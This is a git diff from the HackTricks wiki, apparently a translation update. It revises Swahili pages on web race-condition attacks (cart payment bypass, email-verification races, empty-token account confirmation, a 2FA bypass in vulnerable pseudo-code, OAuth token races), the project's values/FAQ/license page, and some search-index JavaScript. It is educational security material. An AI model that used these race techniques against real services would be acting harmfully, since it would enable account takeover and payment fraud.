|
||||
## Masomo ya kesi za Hali ndogo zilizofichwa
|
||||
|
||||
### Pay & add an Item
|
||||
### Lipa & ongeza Kitu
|
||||
|
||||
Angalia [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **pay** katika duka na **add an extra** item ambayo **hautahitaji kulipia**.
|
||||
Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **kulipa** katika duka na **kuongeza kipengee cha ziada** ambacho **huta hitaji kulipia**.
|
||||
|
||||
### Confirm other emails
|
||||
### Thibitisha barua pepe nyingine
|
||||
|
||||
Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kwa nyingine kwa wakati mmoja** ili kugundua kama jukwaa linathibitisha ile mpya iliyobadilishwa.
|
||||
Mawazo ni **kuhakiki anwani ya barua pepe na kuibadilisha kwa nyingine kwa wakati mmoja** ili kugundua kama jukwaa linathibitisha ile mpya iliyobadilishwa.
|
||||
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
### Badilisha barua pepe kuwa anwani 2 kwa msingi wa Cookie
|
||||
|
||||
Kulingana na [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa vulnerable kwa takeover kwa njia hii kwa sababu inaweza **send** the **email verification token of one email to the other email**.
|
||||
Kwa mujibu wa [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa hatarini kwa takeover kwa njia hii kwa sababu inaweza **kutuma** **email verification token ya barua moja kwa barua nyingine**.
|
||||
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||||
Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) ili kujaribu hii.
|
||||
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
### Hali Ndogo za Database / Kupitisha Uthibitisho
|
||||
|
||||
Ikiwa **2 different writes** zinatumiwa **kuongeza** **information** ndani ya **database**, kuna muda mdogo ambapo **data ya kwanza pekee imeandikwa** ndani ya database. Kwa mfano, wakati wa kuunda user, **username** na **password** zinaweza **kuandikwa** na kisha **token** ya kuthibitisha akaunti mpya kuandikwa. Hii inamaanisha kwa muda mfupi **token to confirm an account is null**.
|
||||
Ikiwa **2 different writes** zitatumika ku**ongeza** **taarifa** ndani ya **database**, kuna sehemu ndogo ya muda ambapo **data ya kwanza tu imeandikwa** ndani ya database. Kwa mfano, wakati wa kuunda user, **username** na **password** zinaweza **kuandikwa** kisha **token** ya kuthibitisha akaunti mpya imeandikwa. Hii inamaanisha kwa muda mfupi **token ya kuthibitisha akaunti iko null**.
|
||||
|
||||
Kwa hivyo **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) ili kuthibitisha akaunti mara moja inaweza kuruhusu c**onfirm an account** ambapo wewe huna udhibiti wa email.
|
||||
Hivyo, kujisajili akaunti na kutuma requests kadhaa zenye token tupu (`token=` au `token[]=` au utofauti mwingine wowote) kuthibitisha akaunti mara moja kunaweza kuruhusu kuthibitisha akaunti ambapo huna udhibiti wa barua pepe.
|
||||
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||||
Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) ili kujaribu hii.
|
||||
|
||||
### Bypass 2FA
|
||||
|
||||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||||
Pseudo-code ifuatayo iko wazi kwa race condition kwa sababu kwa muda mfupi sana **2FA haisitishwa** wakati session inaundwa:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
@ -355,23 +363,23 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2 uthabiti wa kudumu
|
||||
### Udumu wa kudumu wa OAuth2
|
||||
|
||||
Kuna several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Huduma hizi zinakuwezesha kuunda application na authenticate watumiaji ambao provider amejiandikisha. Ili kufanya hivyo, **client** itahitaji **permit your application** kupata baadhi ya data zao ndani ya **OAUth provider**.\
|
||||
Hivyo, hadi hapa ni login ya kawaida na google/linkedin/github... ambapo utaonyeshwa ukurasa unaosema: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Huduma hizi zitakuwezesha kuunda application na kuthibitisha watumiaji ambao provider amewasajili. Ili kufanya hivyo, **client** itahitaji **kuruhusu application yako** kufikia baadhi ya data zao ndani ya **OAUth provider**.\
|
||||
Hadi hapa ni login ya kawaida na google/linkedin/github... ambapo utaonyeshwa ukurasa ukiwaambia: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
|
||||
#### Race Condition in `authorization_code`
|
||||
#### Race Condition katika `authorization_code`
|
||||
|
||||
Tatizo linaonekana unapokubali na mara moja kutumwa `authorization_code` kwa application hasidi. Kisha, application hii inatumia Race Condition katika OAUth service provider ili kuzalisha zaidi ya AT/RT moja (_Authentication Token/Refresh Token_) kutoka kwa `authorization_code` kwa akaunti yako. Kwa msingi, itafanya matumizi ya kwamba umemruhusu application kufikia data yako ili **kuunda akaunti nyingi**. Kisha, ukisitekuruhusu application kutekeleza upatikanaji wa data yako jozi moja ya AT/RT itaondolewa, lakini zingine zitaendelea kuwa halali.
|
||||
The **problem** inaonekana unapo **ikubali** na inatuma moja kwa moja **`authorization_code`** kwa application mbaya. Kisha, application hii inatumia Race Condition katika OAUth service provider kutiwa nguvu kuunda zaidi ya AT/RT moja (Authentication Token/Refresh Token) kutoka kwa **`authorization_code`** ya akaunti yako. Kwa msingi, itatumia ukweli kwamba umemuomba application kufikia data zako ili **kuunda akaunti nyingi**. Kisha, ikiwa utaacha kuruhusu application kufikia data zako, jozi moja ya AT/RT itafutwa, lakini zingine zitasalia kuwa halali.
|
||||
|
||||
#### Race Condition in `Refresh Token`
|
||||
#### Race Condition katika `Refresh Token`
|
||||
|
||||
Mara tu unapopata RT halali unaweza kujaribu kuitumia vibaya (abuse) kuzalisha AT/RT kadhaa; na hata mtumiaji atakapofuta ruhusa za application hasidi kufikia data yake, RT kadhaa zitaendelea kuwa halali.
|
||||
Mara utakapo **kupata RT halali** unaweza kujaribu **kuitumia vibaya ili kuunda AT/RT nyingi** na **hata kama mtumiaji ataghairi ruhusa** kwa application mbaya kufikia data yake, **RT nyingi zitasalia kuwa halali.**
|
||||
|
||||
## **RC in WebSockets**
|
||||
## **RC katika WebSockets**
|
||||
|
||||
- Katika [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) utaona PoC kwa Java ya kutuma ujumbe za websocket kwa **parallel** ili kutumia Race Conditions pia kwenye Web Sockets.
|
||||
- Kwa Burp’s WebSocket Turbo Intruder unaweza kutumia engine ya **THREADED** kuanzisha muunganisho nyingi za WS na kutuma payloads kwa parallel. Anza na mfano rasmi na tunza `config()` (thread count) kwa concurrency; mara nyingi hii ni ya kuaminika zaidi kuliko batching kwenye muunganisho mmoja wakati wa kupigana (racing) hali ya server‑side kupitia WS handlers. Tazama [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
- Katika [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) utapata PoC ya Java ya kutuma ujumbe za websocket kwa wakati mmoja ili kuutumia vibaya Race Conditions pia katika Web Sockets.
|
||||
- Kwa WebSocket Turbo Intruder ya Burp unaweza kutumia engine ya **THREADED** kuanzisha connections nyingi za WS na kutuma payloads kwa wakati mmoja. Anza na mfano rasmi na panga `config()` (idadi ya thread) kwa concurrency; mara nyingi hii ni ya kuaminika zaidi kuliko kumpakua kwenye connection moja wakati ukipigana na server‑side state kupitia WS handlers. Angalia [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -1,39 +1,39 @@
|
||||
# HackTricks Maadili & Maswali Yanayoulizwa Mara kwa Mara
|
||||
# HackTricks Values & FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## HackTricks Values
|
||||
|
||||
> [!TIP]
|
||||
> Hizi ni **maadili ya Mradi wa HackTricks**:
|
||||
> Haya ni maadili ya **HackTricks Project**:
|
||||
>
|
||||
> - Toa **FREE** access kwa **EDUCATIONAL hacking** resources kwa **INTANETI YOTE**.
|
||||
> - Hacking ni kuhusu kujifunza, na kujifunza kunapaswa kuwa bure iwezekanavyo.
|
||||
> - Madhumuni ya kitabu hiki ni kutumika kama **rasilimali ya EDUCATIONAL** kamili.
|
||||
> - **STORE** techniques za ajabu za hacking ambazo jamii inachapisha ikimpa **ORIGINAL** **AUTHORS** sifa wote (**CREDITS**).
|
||||
> - **Hatutaki sifa za watu wengine**, tunataka tu kuhifadhi tricks nzuri kwa wote.
|
||||
> - Pia tunaandika **tafiti zetu** ndani ya HackTricks.
|
||||
> - Katika matukio kadhaa tutakuwa tukielezea **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutamshauri msomaji kutembelea post ya asili kwa maelezo zaidi.
|
||||
> - **ORGANIZE** techniques zote za hacking kwenye kitabu ili ziwe **RAHISI KUPATA**
|
||||
> - Timu ya HackTricks imewekeza maelfu ya saa bure **tu kwa kupanga yaliyomo** ili watu waweze **kujifunza haraka zaidi**
|
||||
> - Toa ufikiaji **BURE** kwa rasilimali za **ELIMU** za hacking kwa **WATU WOTE** wa mtandao.
|
||||
> - Hacking inahusu kujifunza, na kujifunza kunapaswa kuwa bure kadri inavyowezekana.
|
||||
> - Madhumuni ya kitabu hiki ni kutumika kama rasilimali kamili ya **elimu**.
|
||||
> - **Hifadhi** mbinu za **hacking** za kuvutia ambazo jamii inazochapisha, ukimpa **WAANDISHI WA ASILI** sifa zote.
|
||||
> - **Hatutaki sifa za watu wengine**, tunataka tu kuhifadhi mbinu nzuri kwa kila mtu.
|
||||
> - Pia tunaandika **tafiti zetu wenyewe** katika HackTricks.
|
||||
> - Katika matukio kadhaa tutatoa tu **muhtasari wa sehemu muhimu** za mbinu ndani ya HackTricks na tutamshawishi msomaji atembelee chapisho la asili kwa maelezo zaidi.
|
||||
> - **PANGA** mbinu zote za hacking katika kitabu ili ziwe **RAHISI KUPATIKANA**
|
||||
> - Timu ya HackTricks imejitolea maelfu ya saa bila malipo **kwa ajili ya kupanga yaliyomo tu** ili watu wajifunze kwa haraka zaidi
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks Maswali ya Mara kwa Mara
|
||||
## Maswali ya HackTricks
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Asante sana kwa rasilimali hizi, ninawezaje kuwashukuru?**
|
||||
|
||||
Unaweza kumshukuru hadharani timu za HackTricks kwa kuandaa rasilimali hizi zote kwa kuchapisha tweet ukimtaja [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Kama umefurahia hasa unaweza pia [**kuunga mkono mradi hapa**](https://github.com/sponsors/carlospolop).\
|
||||
Unaweza kumshukuru hadharani timu za HackTricks kwa kuandaa rasilimali hizi zote kwa tweet inayotaja [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
Na usisahau **kutoa nyota kwenye miradi ya Github!** (Tafuta viungo hapa chini).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Ninawezaje kuchangia mradi?**
|
||||
> - **Je, ninawezaje kuchangia mradi?**
|
||||
|
||||
Unaweza **kushiriki tips na tricks mpya na jamii au kurekebisha bugs** unazopata kwenye vitabu kwa kutuma **Pull Request** kwenye kurasa husika za Github:
|
||||
Unaweza **kushiriki vidokezo vipya na triki na jamii au kurekebisha bugs** unazopata katika vitabu kwa kutuma **Pull Request** kwa kurasa husika za Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,16 +42,16 @@ Usisahau **kutoa nyota kwenye miradi ya Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Je, naweza kunakili sehemu ya yaliyomo kutoka HackTricks na kuviweka kwenye blogu yangu?**
|
||||
> - **Je, ninaweza kunakili baadhi ya yaliyomo kutoka HackTricks na kuviweka kwenye blogu yangu?**
|
||||
|
||||
Ndiyo, unaweza, lakini **usisahau kutaja link(s) maalumu** ambapo yaliyomo yalichukuliwa.
|
||||
Ndiyo, unaweza, lakini **usisahau kutaja viungo maalum** ambako yaliyomo yalichukuliwa.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Ninawezaje kunukuu ukurasa wa HackTricks?**
|
||||
> - **Je, ninawezaje kunukuu ukurasa wa HackTricks?**
|
||||
|
||||
Iwapo link ya ukurasa(uke) uliochukua taarifa inatokea inatosha.\
|
||||
Kama unahitaji bibtex unaweza kutumia kitu kama:
|
||||
Mradi tu kiungo cha ukurasa/kurasa ulizochukua taarifa kinaonekana, hiyo inatosha.\
|
||||
Ikiwa unahitaji bibtex unaweza kutumia kitu kama:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Je, ninaweza kunakili HackTricks yote kwenye blogu yangu?**
|
||||
> - **Je, naweza kunakili HackTricks yote kwenye blogi yangu?**
|
||||
|
||||
**Ningependelea si**. Hiyo **haitakuwa na faida kwa yeyote** kwani **maudhui yote tayari yanapatikana hadharani** katika vitabu rasmi vya HackTricks kwa bure.
|
||||
**Ningependelea nisifanye hivyo**. Hilo **hataleta faida kwa mtu yeyote** kwa kuwa yaliyomo yote tayari yamepatikana hadharani katika vitabu rasmi vya HackTricks kwa **bure**.
|
||||
|
||||
Ikiwa unaogopa yataondoka, chomeka (fork) kwenye Github au upakue; kama nilivyosema tayari ni bure.
|
||||
Ikiwa unaogopa itafifia, itumie fork kwenye Github au pakua tu, kama nilivyosema tayari ni bure.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Kwa nini mna wadhamini? Je, vitabu vya HackTricks vinalenga madhumuni ya kibiashara?**
|
||||
> - **Kwa nini mna wafadhili? Je, vitabu vya HackTricks vimetengenezwa kwa madhumuni ya kibiashara?**
|
||||
|
||||
Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu ya hacking **BURE** kwa **WOTE** duniani. Timu ya HackTricks imeweka **maelfu ya saa** kutoa maudhui haya, tena, kwa **BURE**.
|
||||
Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za kielimu za hacking **BURE** kwa **WOTE** duniani. Timu ya HackTricks imeweka **maelfu ya masaa** kutoa yaliyomo haya, tena, kwa **BURE**.
|
||||
|
||||
Ikiwa unafikiri vitabu vya HackTricks vimetengenezwa kwa **madhumuni ya kibiashara** wewe ni **UMEKOSA KABISA**.
|
||||
Ikiwa unaamini vitabu vya HackTricks vimetengenezwa kwa **madhumuni ya kibiashara**, UNAKOSEA KABISA.
|
||||
|
||||
Tuna wadhamini kwa sababu, hata kama maudhui yote ni BURE, tunataka **kutoa jamii uwezekano wa kuthamini kazi yetu** ikiwa wanataka. Kwa hivyo, tunawawezesha watu kuchangia HackTricks kupitia [**Github sponsors**](https://github.com/sponsors/carlospolop), na kampuni zinazofaa za usalama wa mtandao kuwadhamini HackTricks na kuwa na **matangazo** katika kitabu, ambapo **matangazo** hayo yamewekwa mahali pao ili yaonekane lakini **hayavurugi mchakato wa kujifunza** ikiwa mtu anazingatia maudhui.
|
||||
Tuna wafadhili kwa sababu, hata kama yaliyomo yote ni **BURE**, tunataka kutoa jamii fursa ya kuthamini kazi yetu ikiwa wanataka. Kwa hiyo, tunatoa chaguo kwa watu kuchangia HackTricks kupitia [**Github sponsors**](https://github.com/sponsors/carlospolop), na kampuni za **cybersecurity** zinazofaa kudhamini HackTricks na kuweka **matangazo** katika kitabu, huku **matangazo** hayo yakiwa yamewekwa mahali yanayoonekana lakini **hayadhindui mchakato wa kujifunza** ikiwa mtu anazingatia yaliyomo.
|
||||
|
||||
Hautapata HackTricks imejazwa na matangazo ya kusumbua kama blogu nyingine zenye maudhui chache zaidi kuliko HackTricks, kwa sababu HackTricks haijatengenezwa kwa madhumuni ya kibiashara.
|
||||
Hautapata HackTricks imejazwa na matangazo ya kuchosha kama baadhi ya blogi zenye yaliyomo kidogo kuliko HackTricks, kwa sababu HackTricks haikutengenezwa kwa madhumuni ya kibiashara.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Nifanye nini ikiwa ukurasa wa HackTricks umetegemea chapisho langu la blogu lakini haujatajwa?**
|
||||
> - **Nifanye nini ikiwa ukurasa wa HackTricks umejengwa kwa msingi wa chapisho langu la blog lakini haujatolewa rejea?**
|
||||
|
||||
**Tunasikitika sana. Hii haipaswi kuwa imetokea.** Tafadhali tujulishe kupitia Github issues, Twitter, Discord... kiungo cha ukurasa wa HackTricks wenye maudhui na kiungo cha blogu yako na **tutakagua na kuiongeza KWA HARAKA**.
|
||||
**Tunasikitika sana. Hii haipaswi kuwa imetokea.** Tafadhali tujulishe kupitia Github issues, Twitter, Discord... kiungo cha ukurasa wa HackTricks unao na yaliyomo na kiungo cha blogi yako na **tutakiangalia na kuiongeza haraka kadri tuwezavyo**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Nifanye nini ikiwa kuna maudhui kutoka blogu yangu kwenye HackTricks na sitaki yawepo hapo?**
|
||||
> - **Nifanye nini ikiwa kuna yaliyomo kutoka blogi yangu kwenye HackTricks na sitaki yakuwa huko?**
|
||||
|
||||
Kumbuka kwamba kuwa na viungo vya ukurasa wako katika HackTricks:
|
||||
Kumbuka kuwa kuwa na viungo kuelekea ukurasa wako katika HackTricks:
|
||||
|
||||
- Boresha yako **SEO**
|
||||
- Maudhui yanatafsiriwa kwa **lugha zaidi ya 15**, hivyo kuwawezesha watu zaidi kupata maudhui haya
|
||||
- **HackTricks inahimiza** watu **kutembelea ukurasa wako** (watu kadhaa wamenukuu kuwa tangu ukurasa wao uwiwe kwenye HackTricks wamepata ziara nyingi zaidi)
|
||||
- Inaboresha SEO yako
|
||||
- Yaliyomo hutafsiriwa kwa zaidi ya lugha 15, hivyo watu zaidi wanaweza kupata yaliyomo haya
|
||||
- **HackTricks inahimiza** watu **kutembelea ukurasa wako** (watu kadhaa wamesema kwetu kwamba tangu ukurasa wao uwepo kwenye HackTricks wamepata ziara nyingi zaidi)
|
||||
|
||||
Hata hivyo, ikiwa bado unataka maudhui ya blogu yako yafutwe kutoka HackTricks tu tujulishe na tutafanya uhakika wa **kufuta kila kiungo kwa blogu yako**, na maudhui yoyote yanayotegemea nayo.
|
||||
Hata hivyo, ikiwa bado unataka yaliyomo ya blogi yako yaondolewe kutoka HackTricks tujulishe tu na kwa hakika **tutaondoa kila kiungo cha blogi yako**, pamoja na yaliyomo yote yaliyojengwa kwa msingi wake.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Nifanye nini ikiwa nitapata maudhui yaliyotekelezwa copy-paste katika HackTricks?**
|
||||
> - **Nifanye nini nikikuta yaliyomo yamekwandikwa nakala (copy-pasted) katika HackTricks?**
|
||||
|
||||
Sisi daima tunawapa waandishi wa asili sifa zote. Ikiwa utakutana na ukurasa wenye maudhui yaliyotekelezwa bila chanzo asili kurejelewa, tujulishe na tuteither **tutaitoa**, **tutaongeza kiungo kabla ya maandishi**, au **tutaandika tena tukiweka kiungo**.
|
||||
Sisi daima tunampa waandishi wa awali sifa zote. Ikiwa utapata ukurasa ulio na yaliyomo yaliyo copy-pasted bila kurejelea chanzo cha awali, tujulishie na tutafanya moja ya yafuatayo: **tutaondoa**, **tutaongeza kiungo kabla ya maandishi**, au **tutaandika upya tukiongeza kiungo**.
|
||||
|
||||
## LESENI
|
||||
|
||||
Haki miliki © Haki zote zimehifadhiwa isipokuwa pale ambapo vimesemwa vingine.
|
||||
Hakimiliki © Haki zote zimehifadhiwa isipokuwa ilivyoelezwa vingine.
|
||||
|
||||
#### Muhtasari wa Leseni:
|
||||
|
||||
- Attribution: Una uhuru wa:
|
||||
- Share — nakili na sambaza tena nyenzo hii kwa njia yoyote au muundo wowote.
|
||||
- Adapt — rekebisha, badilisha, na tengeneza juu ya nyenzo hii.
|
||||
- Urejeleo (Attribution): Una uhuru wa:
|
||||
- Shiriki — nakili na usambaze tena nyenzo kwa njia yoyote au muundo wowote.
|
||||
- Badilisha — fanya remix, ubadilishe, na ujenge juu ya nyenzo hizi.
|
||||
|
||||
#### Masharti ya Ziada:
|
||||
|
||||
- Third-Party Content: Sehemu kadhaa za blogu/kitabu hiki zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vijembe kutoka blogu au machapisho mengine. Matumizi ya maudhui hayo hufanywa kwa misingi ya matumizi mwafaka (fair use) au kwa ruhusa wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejea vyanzo vya asili kwa taarifa maalum za leseni kuhusu maudhui ya wahusika wa tatu.
|
||||
- Authorship: Maudhui ya asili yaliyoandikwa na HackTricks yamo chini ya masharti ya leseni hii. Unahimizwa kumtaja mwandishi wakati wa kushiriki au kurekebisha kazi hii.
|
||||
- Yaliyomo ya Watu Wengine: Sehemu baadhi za blogi/kitabu hiki zinaweza kujumuisha yaliyomo kutoka vyanzo vingine, kama vifungu kutoka blogi nyingine au machapisho. Matumizi ya yaliyomo kama hayo hufanywa chini ya kanuni za matumizi ya haki (fair use) au kwa idhini maalum kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejea vyanzo vya awali kwa taarifa maalum za leseni kuhusu yaliyomo ya watu wengine.
|
||||
- Uandishi: Yaliyomo ya asili yaliyoandikwa na HackTricks yamo chini ya masharti ya leseni hii. Unahimizwa kumtaja mwandishi wakati wa kushiriki au kubadilisha kazi hii.
|
||||
|
||||
#### Msamaha:
|
||||
|
||||
- Commercial Use: Kwa maswali kuhusu matumizi ya kibiashara ya maudhui haya, tafadhali wasiliana nami.
|
||||
- Matumizi ya Kibiashara: Kwa maswali kuhusu matumizi ya kibiashara ya yaliyomo haya, tafadhali wasiliana nami.
|
||||
|
||||
Leseni hii haikupi haki yoyote ya alama za biashara au haki za ukuzaji chapa kuhusiana na maudhui. Alama zote za biashara na chapa zilizo kwenye blogu/kitabu hiki ni mali ya wamiliki wake.
|
||||
Leseni hii haisaidii kupeana haki zozote za alama za biashara au haki za chapa kuhusiana na yaliyomo. Alama zote za biashara na chapa zilizo kwenye blogi/kitabu hiki ni mali ya wamiliki wake husika.
|
||||
|
||||
**Kwa kufikia au kutumia HackTricks, unakubali kufuata masharti ya leseni hii. Ikiwa hukubaliani na masharti haya, tafadhali, usitumie tovuti hii.**
|
||||
**Kwa kuingia au kutumia HackTricks, unakubali kuzingatia masharti ya leseni hii. Ikiwa hukubaliani na masharti haya, tafadhali, usitumie tovuti hii.**
|
||||
|
||||
## **Tamko (Disclaimer)**
|
||||
## **Tamko la kutowajibika**
|
||||
|
||||
> [!CAUTION]
|
||||
> Kitabu hiki, 'HackTricks,' kimekusudiwa kwa madhumuni ya elimu na taarifa pekee. Maudhui ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama yalivyo', na waandishi na wachapishaji hawatoi taarifa wala dhamana za aina yoyote, za wazi au za fumbo, kuhusu ukamilifu, usahihi, uaminifu, ufanisi, au upatikana kwa taarifa, bidhaa, huduma, au grafiki zinazohusiana zilizo ndani ya kitabu hiki. Kila utegemezi utakaoweka kwenye taarifa hizo ni kwa hatari yako mwenyewe.
|
||||
>
|
||||
> Waandishi na wachapishaji hawatakuwa na wajibu wala hawatalipwa kwa hasara au uharibifu wowote, ikijumuisha bila kikomo, hasara au uharibifu usio wa moja kwa moja au wa matokeo, au hasara au uharibifu wowote utakaotokana na kupoteza data au faida zinazotokana na, au kuhusiana na, matumizi ya kitabu hiki.
|
||||
>
|
||||
> Zaidi ya hayo, mbinu na vidokezo vilivyoelezewa katika kitabu hiki vimetolewa kwa madhumuni ya elimu na taarifa pekee, na havipaswi kutumika kwa shughuli zozote zisizofaa kisheria au zenye nia mbaya. Waandishi na wachapishaji hawana msimamo wa kuunga mkono au kusapoti shughuli zozote zisizo za kisheria au zisizo za maadili, na matumizi yoyote ya taarifa zilizo ndani ya kitabu hiki ni kwa hatari na hiari ya mtumiaji.
|
||||
>
|
||||
> Mtumiaji ndiye mwenye jukumu kamili kwa vitendo vyovyote vitakavyofanywa kwa msingi wa taarifa zilizo ndani ya kitabu hiki, na kila mara awe akitafuta ushauri na msaada wa kitaalamu anapojaribu kutekeleza mbinu au vidokezo vilivyoelezwa hapa.
|
||||
>
|
||||
> Kwa kutumia kitabu hiki, mtumiaji anakubali kuwarejesha waandishi na wachapishaji huru kutokana na dhamana na jukumu lolote kwa uharibifu, hasara, au madhara ambayo yanaweza kuletwa na matumizi ya kitabu hiki au yoyote ya taarifa zilizo ndani yake.
|
||||
> Kitabu hiki, 'HackTricks,' kimekusudiwa kwa madhumuni ya kielimu na taarifa tu. Yaliyomo ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama yalivyo', na waandishi na wachapishaji hawatolei uwakilishi au dhamana za aina yoyote, wazi au zilizofichwa, kuhusu ukamilifu, usahihi, uaminifu, unafaa, au upatikanaji wa taarifa, bidhaa, huduma, au picha zinazohusiana zilizo ndani ya kitabu hiki. Utegemezi wowote utakaoiweka kwenye taarifa hizo ni kwa hatari yako mwenyewe.
|
||||
>
|
||||
> Waandishi na wachapishaji hawatakuwajibishwa katika hali yoyote kwa hasara au uharibifu wowote, ikiwemo bila ukomo, hasara isiyo ya moja kwa moja au ya matokeo, au hasara au uharibifu wowote unaotokana na kupoteza data au faida kutokana na, au kuhusiana na, matumizi ya kitabu hiki.
|
||||
>
|
||||
> Zaidi ya hayo, mbinu na vidokezo vinavyoelezwa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa tu, na havipaswi kutumika kwa shughuli za kinyume cha sheria au za uharifu. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote za kinyume cha sheria au zisizo za kimaadili, na matumizi yoyote ya taarifa zilizopo ndani ya kitabu hiki ni kwa hatari na maamuzi ya mtumiaji.
|
||||
>
|
||||
> Mtumiaji ndiye mwenye jukumu kwa vitendo vyovyote vinavyofanywa kulingana na taarifa zilizopo ndani ya kitabu hiki, na anapaswa daima kutafuta ushauri na msaada wa kitaalamu anapojaribu kutekeleza yoyote ya mbinu au vidokezo vilivyoelezwa hapa.
|
||||
>
|
||||
> Kwa kutumia kitabu hiki, mtumiaji anakubali kuwaruhusu waandishi na wachapishaji wasiwe na wajibu wowote wala uwajibikaji kwa uharibifu, hasara, au madhara yoyote yanayoweza kusababishwa na matumizi ya kitabu hiki au taarifa yoyote iliyomo ndani yake.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -491,3 +491,4 @@
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
||||
|
@ -68,11 +68,11 @@
|
||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||
|
||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||
|
||||
const indices = [];
|
||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||
@ -208,3 +208,4 @@
|
||||
listOut.classList.toggle('hidden',!docs.length);
|
||||
};
|
||||
})();
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user